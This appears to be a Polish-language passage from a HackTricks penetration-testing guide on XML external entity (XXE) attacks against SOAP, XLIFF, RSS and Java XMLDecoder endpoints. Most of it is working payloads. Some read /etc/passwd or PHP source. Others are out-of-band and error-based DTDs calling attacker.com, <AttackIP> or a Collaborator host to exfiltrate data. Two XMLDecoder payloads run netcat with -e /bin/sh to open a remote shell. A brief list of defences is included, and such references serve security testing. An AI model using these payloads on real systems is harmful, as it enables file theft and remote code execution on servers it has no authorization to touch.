Aby przeprowadzić atak XEE na serwer SOAP, atakujący musi znaleźć miejsce, w którym serwer przetwarza dane XML. Następnie, atakujący może wstrzyknąć złośliwe treści XML, które zawierają zewnętrzne encje XML, takie jak <!DOCTYPE>, <!ENTITY>, <!ATTLIST>, itp.

Przykład ataku XEE na serwer SOAP:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header/>
  <soapenv:Body>
    <foo>&xxe;</foo>
  </soapenv:Body>
</soapenv:Envelope>

W powyższym przykładzie, atakujący wstrzykuje zewnętrzną encję xxe, która odczytuje zawartość pliku /etc/passwd. Serwer SOAP, próbując przetworzyć tę encję, odczytuje zawartość pliku i zwraca ją w odpowiedzi.

Aby zabezpieczyć serwer SOAP przed atakami XEE, należy:

  • Wyłączyć przetwarzanie zewnętrznych encji XML.
  • Sprawdzić i filtrować dane wejściowe XML, aby wykryć i zablokować potencjalnie złośliwe treści.
  • Używać narzędzi do testowania penetracyjnego, takich jak OWASP ZAP, do wykrywania podatności XEE i innych podobnych ataków.
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Ten przykład jest inspirowany https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe

XLIFF (XML Localization Interchange File Format) jest wykorzystywany do standaryzacji wymiany danych w procesach lokalizacji. Jest to format oparty na XML, głównie używany do transferu danych lokalizowalnych między narzędziami podczas lokalizacji oraz jako wspólny format wymiany dla narzędzi CAT (Computer-Aided Translation).

Analiza żądania w trybie ślepego testowania

Wysyłane jest żądanie do serwera z następującą zawartością:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Jednakże, to żądanie powoduje wewnętrzny błąd serwera, wskazujący konkretnie na problem z deklaracjami znaczników:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

Pomimo błędu, na Burp Collaborator jest zarejestrowane trafienie, wskazujące na pewien poziom interakcji z zewnętrzną jednostką.

Wyciek danych poza pasmem Aby wyciec dane, wysyłane jest zmodyfikowane żądanie:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Ta metoda ujawnia, że User Agent wskazuje na użycie Javy 1.8. Zauważono ograniczenie tej wersji Javy, polegające na niemożności pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, za pomocą techniki Out of Band.

Eksfiltracja danych oparta na błędach Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest strukturalnie zbudowany w taki sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Serwer odpowiada błędem, istotnie odzwierciedlając nieistniejący plik, co wskazuje, że serwer próbuje uzyskać dostęp do określonego pliku:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Aby dołączyć zawartość pliku do komunikatu o błędzie, plik DTD jest dostosowywany:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Ta modyfikacja prowadzi do udanej ekstrakcji zawartości pliku, co jest odzwierciedlone w błędzie wysłanym za pomocą protokołu HTTP. Wskazuje to na udany atak XXE (XML External Entity), wykorzystujący techniki Out of Band i Error-Based do wydobycia poufnych informacji.

RSS - XEE

Poprawny XML w formacie RSS do wykorzystania podatności XXE.

Ping back

Prosty żądanie HTTP do serwera atakującego

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Odczyt pliku

W przypadku ataku na XML External Entity (XXE) można wykorzystać funkcję odczytu pliku. Aby to zrobić, należy utworzyć odpowiednio spreparowany plik XML, który zawiera zewnętrzną encję, wskazującą na plik, który chcemy odczytać.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

W powyższym przykładzie plik XML zawiera zewnętrzną encję xxe, która wskazuje na plik /etc/passwd. Po przetworzeniu tego pliku przez parser XML, zawartość pliku /etc/passwd zostanie zwrócona jako część odpowiedzi.

Ten atak może być wykorzystany do odczytu innych plików na serwerze, takich jak pliki konfiguracyjne, klucze prywatne, czy nawet poufne dane.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Odczytaj kod źródłowy

Za pomocą filtra PHP base64

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE do RCE

XMLDecoder to klasa Javy, która tworzy obiekty na podstawie wiadomości XML. Jeśli złośliwy użytkownik może zmusić aplikację do użycia dowolnych danych w wywołaniu metody readObject, natychmiast uzyska wykonanie kodu na serwerze.

Użycie Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

ProcessBuilder jest klasą w języku Java, która umożliwia tworzenie i kontrolowanie procesów systemowych. Może być używana do uruchamiania zewnętrznych programów i wykonywania poleceń w systemie operacyjnym.

Aby użyć ProcessBuildera, należy utworzyć nową instancję tej klasy i przekazać jej polecenie, które chcemy wykonać. Możemy również ustawić inne parametry, takie jak zmienne środowiskowe, katalog roboczy i strumienie wejścia/wyjścia.

Po utworzeniu obiektu ProcessBuilder, możemy go uruchomić za pomocą metody start(). Spowoduje to uruchomienie procesu systemowego i zwrócenie obiektu klasy Process, który reprezentuje ten proces.

Możemy również użyć metody inheritIO(), aby przekierować strumienie wejścia/wyjścia procesu na strumienie wejścia/wyjścia bieżącego procesu. Jest to przydatne, gdy chcemy zobaczyć wynik działania uruchomionego programu w naszej konsoli.

Przykład użycia ProcessBuildera:

ProcessBuilder processBuilder = new ProcessBuilder("ls", "-l");
processBuilder.inheritIO();
Process process = processBuilder.start();
process.waitFor();

W powyższym przykładzie tworzymy nowy obiekt ProcessBuilder, który uruchamia polecenie ls -l w systemie operacyjnym. Następnie przekierowujemy strumienie wejścia/wyjścia procesu na strumienie wejścia/wyjścia bieżącego procesu za pomocą metody inheritIO(). Na koniec uruchamiamy proces i czekamy na jego zakończenie za pomocą metody waitFor().

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

Narzędzia

{% embed url="https://github.com/luisfontes19/xxexploiter" %}

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: